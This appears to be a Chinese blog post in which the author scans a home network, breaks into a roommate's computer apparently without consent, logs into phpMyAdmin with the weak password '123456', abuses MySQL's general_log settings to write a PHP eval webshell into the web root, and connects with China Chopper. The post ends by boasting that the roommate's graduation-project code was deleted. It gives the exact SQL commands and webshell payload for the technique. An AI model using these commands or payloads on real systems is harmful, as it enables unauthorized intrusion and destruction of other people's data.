晚上下闲来无事,租的公寓一共两间房,我和另外一个同学各住一间,隔壁一墙之隔的他正在打游戏,我比较爱学习,随便玩玩,就突然引发了一次简单渗透。。。 无关紧要的过程就不写了,下面简单记录下主要有用的步骤。
- 首先nmap扫描内网发现
图片.png发现内网里面存活的主机,不多,简单排除下,估计
192.168.1.101
就是隔壁室友的电脑了,发现80
、3306
端口
- 访问下
80
,如下图,最近在做毕业设计,很明显这是他的电脑,里面还有sql注入演练平台,phpMyAdmin
桌面控制.
图片.png
- 首先手工回顾一下sql注入吧,忘得差不多了都,整个过程我就不记录了,就记录用到的如下:
- 获取数据库路径
D:\phpstudy\PHPTutorial\MySQL\data\
图片.png
-
获取数据库版本
图片.png5.5.53
-
获取当前连接数据库用户
图片.png -
获取当前数据库
security
- 最后直接准备写webshell,看能不能拿下。
发现由于
secure_file_priv
权限问题,没戏。心有不甘,继续看看吧!
- phpmyadmin后台登录看看
图片.png猜测密码应该不复杂,简单测试下,发现密码
123456
弱口令,然后sql语句写webshell也是一样,不能够写入如下:
- 下面就是本次记录的关键地方了
- 查看
secure_file_priv
值,结果如下为NULL
,说明不能使用loadfile,into outfile进行读写文件。
show global variables like 'secure_file_priv';
图片.png
- 接下来就是要突破这一限制,写webshell。
mysql中有两个全局变量是我们getshell需要用到的重要变量:
general_log
general_log_file
general_log 是mysql中记录sql操作的日志,所有的查询语句会记录在一个日志文件中,但因为时间长了会导致日志文件非常大,所以默认为关闭,有时候在管理员需要进行排错时才会暂时性的打开这个变量
- general_log_file 就是操作日志存放的路径:
show variables like 'general_log%';
注:此处的操作日志路径并不是默认的,因为之前做过一遍已经将其修改了
- 接下来就要
getshell
1.首先打开操作日志记录
set global general_log = 'ON';
2.设置操作记录日志路径
set global general_log_file='路径地址'
set global general_log_file='D:\\phpstudy\\PHPTutorial\\WWW\\zzqsmile.php'
图片.png这里我再换个目录存放操作日志,即在网站根目录
3.执行sql语句,mysql会将执行的语句内容记录到我们指定的文件中,就可以getshell了
select '<?php phpinfo();@eval($_POST[zzqsmile]);?>'
图片.png
4.访问webshell
,如下,没问题,然后上菜刀砍他!
打游戏的注意了,毕业设计写的代码被删了!好好学习吧。
参考
https://c1h3ng.github.io/web/2017/11/06/phpmyadmin-getshell/
网友评论